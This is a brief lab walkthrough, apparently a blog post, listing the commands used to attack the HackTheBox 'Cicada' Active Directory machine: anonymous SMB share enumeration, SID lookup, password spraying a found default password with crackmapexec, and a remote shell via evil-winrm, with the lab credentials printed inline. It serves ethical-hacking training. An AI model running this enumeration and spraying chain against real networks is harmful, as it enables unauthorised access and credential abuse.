Let's hack Active Directory by using the HackTheBox Cicada server. We will focus on enumerating and exploiting the Active Directory and not completing the Capture The Flag challenge. Here's the commands I used to walk through the challenge: enum4linux -A 10.10.11.35 enum4linux -A 10.10.11.35 -u guest smbmap -u guest -H 10.10.11.35 smbclient -L 10.10.11.35 –no-pass smbclient //10.10.11.35/HR #anonymous login #Download and enumerate files impacket-lookupsid ‘cicada.htb/guest’@10.10.11.35 -no-pass #password spray captured default passwd to all users crackmapexec smb cicada.htb -u michael.wrightson -p ‘Cicada$M6Corpb*@Lp#nZp!8’ –users crackmapexec smb cicada.htb -u michael.wrightson -p ‘Cicada$M6Corpb*@Lp#nZp!8’ –shares crackmapexec smb cicada.htb -u david.orelious -p ‘aRt$Lp#7t*VQ!3’ –shares smbclient //10.10.11.35/DEV -U david.orelious #Download and enumerate files evil-winrm -i 10.10.11.35 -u emily.oscars Also, here's a great cheatsheet to check out: https://cheatsheet.haax.fr/windows-systems/exploitation/crackmapexec/ Make sure to check out https://Pentest.TV for additional resources, including free ethical hacking courses.
